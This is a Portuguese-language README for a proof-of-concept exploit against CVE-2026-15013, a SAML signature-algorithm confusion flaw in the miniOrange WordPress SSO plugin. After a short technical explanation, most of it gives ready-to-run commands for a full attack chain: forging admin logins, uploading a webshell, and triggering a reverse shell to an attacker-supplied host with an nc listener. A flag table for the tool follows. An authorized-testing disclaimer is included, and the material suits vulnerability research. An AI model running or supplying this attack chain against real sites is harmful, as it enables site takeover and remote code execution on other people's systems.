
Exploit para CVE-2026-15013: bypass não autenticado de autenticação SAML via confusão de algoritmos. Forja respostas SAML para obter acesso de administrador e implantar webshell/reverse shell. Para testes autorizados.
Prova de conceito para CVE-2026-15013: bypass de autenticação não autenticado via Confusão de Algoritmo de Assinatura SAML (HMAC-SHA1) no plugin WordPress SAML Single Sign On – SSO Login da miniOrange (versões até 5.4.3 inclusive).
Somente testes autorizados. Use este código apenas em sistemas que você possui ou para os quais tenha permissão explícita para testar. O acesso não autorizado a sistemas de computador é ilegal.
| Função | |
|---|---|
| Descobridor da vulnerabilidade | lhking (creditado no registro CVE) |
| CVE / CNA | Wordfence |
| Este repositório | Reprodução independente em laboratório / automação do PoC (não é a descoberta original) |
Registro CVE: https://www.cve.org/CVERecord?id=CVE-2026-15013
Mo_SAML_Utilities::mo_saml_cast_key() confia no algoritmo SignatureMethod do SAMLResponse controlado pelo atacante. Quando definido como HMAC-SHA1, o plugin reinterpreta a chave pública RSA do IdP como um segredo compartilhado HMAC e verifica a assinatura com ele. Qualquer pessoa que consiga ler o certificado do IdP (frequentemente metadados públicos) pode forjar uma asserção válida para qualquer usuário WordPress existente, incluindo administradores.
Corrigido em 5.4.4+ (algoritmos inseguros / HMAC rejeitados).
9.8 CRÍTICO — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
openssl (para converter certificado em chave pública)Instale as dependências:
pip install -r requirements.txt
Cadeia completa (enumeração, login HMAC, admin, webshell):
python3 exploit.py -u https://TARGET.example
Shell reverso opcional (inicie o listener primeiro: nc -lvnp 4444):
python3 exploit.py -u https://TARGET.example --lhost YOUR_IP --lport 4444
Somente login (sem shell):
python3 exploit.py -u https://TARGET.example --no-shell
Substituições manuais:
python3 exploit.py -u https://TARGET.example \
--issuer https://idp.example/realms/xxx \
--nameid admin \
-k ./idp-pubkey.pem
exp/shell.php?c=id)--lhostEste projeto é apenas para pesquisa educacional e de segurança autorizada. Os autores e colaboradores não são responsáveis pelo uso indevido. Sempre obtenha permissão por escrito antes de testar sistemas de terceiros. A vulnerabilidade original foi reportada por meio de divulgação responsável; este repositório apenas demonstra a reprodução para aprendizado e validação defensiva.
Para uso em pesquisa. Sem garantia.
| Flag | Descrição |
|---|
-u, --url | URL base do WordPress (obrigatório) |
-k, --hmac-key | Chave pública PEM ou arquivo de certificado; se vazio, busca nos metadados do IdP |
--issuer | Substituir o emissor (issuer) do IdP |
--acs | Substituir a URL do ACS |
--nameid | Forçar um único nome de usuário do WordPress |
--lhost / --lport | Callback do shell reverso (porta padrão 4444) |
--no-shell | Parar após a sessão de admin |
--no-reverse | Enviar o shell, mas não acionar o reverso |